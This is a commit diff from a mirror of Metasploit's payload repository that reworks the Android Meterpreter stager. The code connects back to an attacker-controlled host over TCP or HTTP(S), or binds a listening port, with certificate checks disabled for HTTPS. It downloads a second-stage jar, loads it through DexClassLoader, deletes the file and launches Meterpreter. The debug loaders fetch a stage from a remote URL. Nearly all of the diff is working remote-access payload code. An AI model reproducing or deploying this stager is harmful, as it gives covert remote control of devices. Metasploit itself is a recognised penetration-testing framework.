1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-06 09:13:02 +01:00

Modify the staging process

This commit is contained in:
OJ 2015-06-23 16:21:20 +10:00
parent fc775349fc
commit 4ed2b484f0
6 changed files with 82 additions and 30 deletions

View File

@ -1,6 +1,7 @@
package com.metasploit.stage;
import android.content.Context;
import android.util.Log;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
@ -9,6 +10,7 @@ import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
@ -20,11 +22,10 @@ public class Payload {
public static final String URL = "ZZZZ ";
public static final String CERT_HASH = "WWWW ";
public static final String LHOST = "XXXX127.0.0.1 ";
public static final String LPORT = "YYYY4444 ";
public static final String RETRY_TOTAL = "TTTT ";
public static final String RETRY_WAIT = "SSSS ";
public static final String TIMEOUTS = "TTTT ";
public static long session_expiry;
public static long comm_timeout;
public static long retry_total;
public static long retry_wait;
@ -50,84 +51,121 @@ public class Payload {
}
public static void main(String[] args) {
Log.d("msf", "In main()");
if (args != null) {
File currentDir = new File(".");
String path = currentDir.getAbsolutePath();
parameters = new String[]{path};
}
int retryTotal;
int retryWait;
long sessionExpiry;
long commTimeout;
long retryTotal;
long retryWait;
Log.d("msf", "Timeouts: " + TIMEOUTS.substring(4));
String[] timeouts = TIMEOUTS.substring(4).trim().split("-");
try {
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
Log.d("msf", "Session Expiry: " + timeouts[0]);
sessionExpiry = Integer.parseInt(timeouts[0]);
Log.d("msf", "Comm Timeout: " + timeouts[1]);
commTimeout = Integer.parseInt(timeouts[1]);
Log.d("msf", "Retry total: " + timeouts[2]);
retryTotal = Integer.parseInt(timeouts[2]);
Log.d("msf", "Retry wait: " + timeouts[3]);
retryWait = Integer.parseInt(timeouts[3]);
} catch (NumberFormatException e) {
return;
}
long payloadStart = System.currentTimeMillis();
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
while (System.currentTimeMillis() < payloadStart + retry_total) {
String url = URL.substring(4).trim();
Log.d("msf", "URL = " + url);
// technically we need to check for session expiry here as well.
while (System.currentTimeMillis() < payloadStart + retry_total &&
System.currentTimeMillis() < session_expiry) {
try {
if (URL.substring(4).trim().length() == 0) {
reverseTCP();
if (url.startsWith("tcp")) {
runStagefromTCP(url);
} else {
reverseHTTP();
runStageFromHTTP(url);
}
return;
break;
} catch (Exception e) {
e.printStackTrace();
}
try {
Thread.sleep(retry_wait);
} catch (InterruptedException e) {
return;
break;
}
}
}
private static void reverseHTTP() throws Exception {
String lurl = URL.substring(4).trim();
private static void runStageFromHTTP(String url) throws Exception {
InputStream inStream;
if (lurl.startsWith("https")) {
URLConnection uc = new URL(lurl).openConnection();
if (url.startsWith("https")) {
URLConnection uc = new URL(url).openConnection();
Class.forName("com.metasploit.stage.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, uc);
inStream = uc.getInputStream();
} else {
inStream = new URL(lurl).openStream();
inStream = new URL(url).openStream();
}
OutputStream out = new ByteArrayOutputStream();
DataInputStream in = new DataInputStream(inStream);
loadStage(in, out, parameters);
readAndRunStage(in, out, parameters);
}
private static void reverseTCP() throws Exception {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters);
private static void runStagefromTCP(String url) throws Exception {
// string is in the format: tcp://host:port
String[] parts = url.split(":");
int port = Integer.parseInt(parts[2]);
String host = parts[1].split("/")[2];
Socket sock = null;
Log.d("msf", "Host is: " + host);
if (host.equals("")) {
Log.d("msf", "Bind socket");
ServerSocket server = new ServerSocket(port);
sock = server.accept();
server.close();
} else {
Log.d("msf", "Reverse socket");
sock = new Socket(host, port);
}
if (sock != null) {
Log.d("msf", "Socket connected");
DataInputStream in = new DataInputStream(sock.getInputStream());
OutputStream out = new DataOutputStream(sock.getOutputStream());
readAndRunStage(in, out, parameters);
}
}
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
private static void readAndRunStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex";
// Read the class name
int coreLen = in.readInt();
Log.d("msf", "Class length: " + coreLen);
byte[] core = new byte[coreLen];
in.readFully(core);
String classFile = new String(core);
Log.d("msf", "Class: " + classFile);
// Read the stage
coreLen = in.readInt();
Log.d("msf", "Core length: " + coreLen);
core = new byte[coreLen];
in.readFully(core);
File file = new File(filePath);
Log.d("msf", "Writing to: " + filePath);
if (!file.exists()) {
file.createNewFile();
}
@ -137,12 +175,16 @@ public class Payload {
fop.close();
// Load the stage
Log.d("msf", "Loading into classloader");
DexClassLoader classLoader = new DexClassLoader(filePath, path, path,
Payload.class.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
Log.d("msf", "Class loaded");
final Object stage = myClass.newInstance();
Log.d("msf", "Instance " + (stage == null ? "null" : "created"));
file.delete();
new File(dexPath).delete();
Log.d("msf", "Invoking Meterpreter");
myClass.getMethod("start",
new Class[]{DataInputStream.class, OutputStream.class, String[].class})
.invoke(stage, in, out, parameters);

View File

@ -1,5 +1,6 @@
package androidpayload.stage;
import android.util.Log;
import java.io.DataInputStream;
import java.io.File;
@ -10,11 +11,12 @@ import dalvik.system.DexClassLoader;
import javapayload.stage.Stage;
/**
* Meterpreter Java Payload Proxy
* Meterpreter Android Payload Proxy
*/
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
Log.d("msf", "Meterpreter stage constructing");
String path = parameters[0];
String filePath = path + File.separatorChar + "met.jar";
String dexPath = path + File.separatorChar + "met.dex";
@ -23,8 +25,10 @@ public class Meterpreter implements Stage {
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
Log.d("msf", "Meterpreter stage 2 length: " + coreLen);
// Write the stage to /data/data/.../files/
Log.d("msf", "Meterpreter stage 2 writing to: " + filePath);
File file = new File(filePath);
if (!file.exists()) {
file.createNewFile();
@ -37,8 +41,10 @@ public class Meterpreter implements Stage {
// Load the stage
DexClassLoader classLoader = new DexClassLoader(filePath, path, path, Meterpreter.class.getClassLoader());
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
Log.d("msf", "Class loading " + (classLoader == null ? "failed" : "succeeded"));
file.delete();
new File(dexPath).delete();
Log.d("msf", "Calling constructor");
myClass.getConstructor(new Class[]{
DataInputStream.class, OutputStream.class, String[].class, boolean.class
}).newInstance(in, out, parameters, false);

View File

@ -92,6 +92,7 @@ public class AndroidMeterpreter extends Meterpreter {
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
System.out.println("msf : Android Meterpreter constructing");
writeableDir = parameters[0];
try {
findContext();

View File

@ -19,6 +19,7 @@ public class DebugLoader {
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
String url = "tcp://" + args[0] + ":" + args[1];
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());

View File

@ -20,7 +20,8 @@ public class URLDebugLoader {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
String url = "http://" + args[0] + ":" + args[1] + "/INITJM";
URL initURL = new URL(url);
DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt();

View File

@ -65,6 +65,7 @@ public class Meterpreter {
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
System.out.println("msf : Meterpreter constructing");
this.loadExtensions = loadExtensions;
this.in = in;
this.out = new DataOutputStream(rawOut);